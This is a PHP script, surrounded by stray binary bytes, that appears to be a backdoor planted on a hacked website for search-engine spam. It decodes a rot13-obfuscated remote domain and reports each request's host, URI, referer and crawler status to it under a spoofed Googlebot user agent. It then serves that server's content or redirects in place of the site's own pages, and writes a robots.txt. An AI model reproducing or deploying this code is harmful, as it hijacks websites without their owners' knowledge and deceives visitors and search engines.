¦Zm«ë‡^r‡^$xmlname = urldecode('123-er103.ioybtarjf.fvgr');
$http = is_https() ? 'https' : 'http';
$duri_tmp = drequest_uri();
$duri = empty($duri_tmp) ? '/' : $duri_tmp;
$goweb = str_rot13($xmlname);
$host = htmlspecialchars(isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '', ENT_QUOTES, 'UTF-8');
$lang = htmlspecialchars(isset($_SERVER["HTTP_ACCEPT_LANGUAGE"]) ? $_SERVER["HTTP_ACCEPT_LANGUAGE"] : '', ENT_QUOTES, 'UTF-8');
$urlshang = htmlspecialchars(isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', ENT_QUOTES, 'UTF-8');
$web1 = $http . '://' . $goweb . '/index.php';
$web = $web1 . '?web=' . $host . '&zz=' . (disbot() ? '1' : '0') . '&uri=' . urlencode($duri) . '&urlshang=' . urlencode($urlshang) . '&http=' . $http . '&lang=' . $lang;
$html_content = doutdo($web);
$robotsPath = $_SERVER['DOCUMENT_ROOT'] . '/robots.txt';
if (!file_exists($robotsPath)) {
    $defaultContent = "User-agent: *\nAllow: /\nSitemap: {$http}://{$host}/sitemap.xml\n";
    file_put_contents($robotsPath, $defaultContent);
}
if (!strstr($html_content, 'nobotuseragent')) {
    handle_content($html_content);
}
function is_https()
{
    return (
        isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) !== 'off'
        || isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] === 'https'
        || isset($_SERVER['HTTP_FRONT_END_HTTPS']) && strtolower($_SERVER['HTTP_FRONT_END_HTTPS']) !== 'off'
    );
}
function drequest_uri()
{
    if (isset($_SERVER['REQUEST_URI'])) {
        return $_SERVER['REQUEST_URI'];
    } elseif (isset($_SERVER['argv'])) {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['argv'][0];
    } else {
        return $_SERVER['PHP_SELF'] . '?' . $_SERVER['QUERY_STRING'];
    }
}
function disbot()
{
    $uAgent = strtolower(isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '');
    return stristr($uAgent, 'googlebot') || stristr($uAgent, 'bing') || stristr($uAgent, 'yahoo') || stristr($uAgent, 'google');
}
function doutdo($web)
{
    $options = [
        "http" => [
            "header" => "User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
        ]
    ];
    $context = stream_context_create($options);
    $response = @file_get_contents($web, false, $context);
    if (!$response) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $web);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
        $response = curl_exec($ch);
        if (curl_errno($ch)) {
            echo 'cURL Error: ' . curl_error($ch);
            exit;
        }
        curl_close($ch);
    }
    return $response;
}
function handle_content($html_content)
{
    if (strstr($html_content, 'okhtmlgetcontent')) {
        header("Content-type: text/html; charset=utf-8");
        echo str_replace("okhtmlgetcontent", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'okxmlgetcontent')) {
        header("Content-type: text/xml");
        echo str_replace("okxmlgetcontent", '', $html_content);
        exit();
    } elseif (strstr($html_content, 'pingxmlgetcontent')) {
        header("Content-type: text/html; charset=utf-8");
        echo ping_sitemap(str_replace("pingxmlgetcontent", '', $html_content));
        exit();
    } elseif (strstr($html_content, 'getcontent500page')) {
        header('HTTP/1.1 500 Internal Server Error');
        exit();
    } elseif (strstr($html_content, 'getcontent404page')) {
        header('HTTP/1.1 404 Not Found');
        exit();
    } elseif (strstr($html_content, 'getcontent301page')) {
        header('Location: ' . str_replace("getcontent301page", '', $html_content));
        exit();
    }
}
function ping_sitemap($url)
{
    $url_arr = explode("\r\n", trim($url));
    $return_str = '';
    foreach ($url_arr as $pingUrl) {
        $pingRes = doutdo($pingUrl);
        $ok = (strpos($pingRes, 'Sitemap Notification Received') !== false) ? 'pingok' : 'error';
        $return_str .= htmlspecialchars($pingUrl, ENT_QUOTES, 'UTF-8') . '-- ' . $ok . '<br>';
    }
    return $return_str;
}½©Z